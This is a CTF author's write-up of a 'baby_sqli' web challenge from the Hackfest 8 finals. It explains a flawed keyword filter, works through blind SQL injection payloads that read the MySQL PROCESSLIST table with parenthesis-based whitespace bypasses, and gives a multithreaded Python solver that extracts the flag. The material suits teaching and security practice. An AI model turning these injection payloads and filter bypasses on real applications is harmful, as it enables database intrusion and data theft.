HACKFEST’8 FINALS

Siwar
4 min readApr 21, 2024

--

During the Hackfest 8 CTF finals, Icontributed as an author of a “baby_sqli” a web challenge:

When u access the url, u got the following:

The 2 attachaments are:

  • index.php:
  • config.php:

Main focus on the filter:

b is an example of the filtered chars

The first list of the filter contains the following:

$forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|columns|char|sin|cos|asin|procedure|trim|pad|make|mid";

Then the developer concatinate it with a second part:

$forbid .= "substr|compress|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";

As u can see here, he forgets to seperate the 2 lists with the | so the filtred list is the following:

0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|columns|char|sin|cos|asin|procedure|trim|pad|make|midsubstr|compress|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--

You can notice here that in place of filtring the words: mid and substr, he filtred midsubstr

First part: We have midsubstr filtred, substr filtred also because it contains “b” but not mid.

Then, in the config.php, we can notice that the flag is inserted in a random_column and a random_table with the The UPDATE statement wich is used to modify the existing records in a table.

💡 If you omit the WHERE clause, all records in the table will be updated!

To get the name of the table and the column, we can’t use information_schema here because it’ll use the “b” char for the information_schema.table_name. So, we have to find another table from infromation_schema that contains the table_name and the column_name wich is the PROCESSLIST in this case.

The MySQL process list indicates the operations currently being performed by the set of threads executing within the server. The PROCESSLIST table is one source of process information. One of it’s columns is INFO which is the statement the thread is executing, or NULL if it is executing no statement. The statement might be the one sent to the server, or an innermost statement if the statement executes other statements.

💡 Note: We can escape the whitespace filter using parenthesis ( u can find other useful bypasses here https://alomancy.gitbook.io/guides/cheat-sheets/sql-injection/waf-bypass )

To make it easier, we determine the position of the flag’s pattern hackfest{ in the info column of processlist:

GET /?user=sss&pass=aa'or(mid((select(info)from(INFORMATION_SCHEMA.PROCESSLIST)where(state='Updating')),§§,9))='hackfest{

and we got “welcome \o/” at the position 48:

Now, we determine the content of the flag and we extract from position 57 (48+leng(hackfest{), but you have to know here that the table PROCESSlLIST will be changed quickly because of the UPDATE statement, so the request should be sent in multithread to extract the chars:

GET /?user=aa&pass=aa'or(mid((select(info)from(INFORMATION_SCHEMA.PROCESSLIST)where(state='Updating')),57,1))='§2§

U can find at the end of this writeup, a quick solver (but not an optimal one 😄)

import requests
import threading
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7,ar;q=0.6',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
}
def solv(input):
for i in '012345':
requests.get('http://15.236.210.121:8086/config.php', headers=headers, verify=False)
response = requests.get(
"http://15.236.210.121:8086/?user=sss&pass=aa'or(mid((select(info)from(INFORMATION_SCHEMA.PROCESSLIST)where(state='Updating')),%s,1))='%s"%(str(input),i),
headers=headers,
verify=False,
)
if 'welcome' in response.text:
print(i,input)

def solv1(input):
for i in '6789a':
requests.get('http://15.236.210.121:8086/config.php', headers=headers, verify=False)
response = requests.get(
"http://15.236.210.121:8086/?user=sss&pass=aa'or(mid((select(info)from(INFORMATION_SCHEMA.PROCESSLIST)where(state='Updating')),%s,1))='%s"%(str(input),i),
headers=headers,
verify=False,
)
if 'welcome' in response.text:
print(i,input)

def solv2(input):
for i in 'cdef':
requests.get('http://15.236.210.121:8086/config.php', headers=headers, verify=False)
response = requests.get(
"http://15.236.210.121:8086/?user=sss&pass=aa'or(mid((select(info)from(INFORMATION_SCHEMA.PROCESSLIST)where(state='Updating')),%s,1))='%s"%(str(input),i),
headers=headers,
verify=False,
)
if 'welcome' in response.text:
print(i,input)
numbers1 = [i for i in range(57, 60)] * 100
numbers2 =[i for i in range(60, 63)] * 100
numbers3 =[i for i in range(63, 66)] * 100
threads = []
for num in numbers1:
thread = threading.Thread(target=solv, args=(num,))
thread.start()
threads.append(thread)

for num in numbers1:
thread = threading.Thread(target=solv1, args=(num,))
thread.start()
threads.append(thread)

for num in numbers1:
thread = threading.Thread(target=solv2, args=(num,))
thread.start()
threads.append(thread)
for num in numbers2:
thread = threading.Thread(target=solv, args=(num,))
thread.start()
threads.append(thread)

for num in numbers2:
thread = threading.Thread(target=solv1, args=(num,))
thread.start()
threads.append(thread)

for num in numbers2:
thread = threading.Thread(target=solv2, args=(num,))
thread.start()
threads.append(thread)
for num in numbers3:
thread = threading.Thread(target=solv, args=(num,))
thread.start()
threads.append(thread)

for num in numbers3:
thread = threading.Thread(target=solv1, args=(num,))
thread.start()
threads.append(thread)

for num in numbers3:
thread = threading.Thread(target=solv2, args=(num,))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()

After running this script(multiple times), we got the flag hackfest{21701ae84c933c}

I hope u enjoy it 👩‍💻

--

--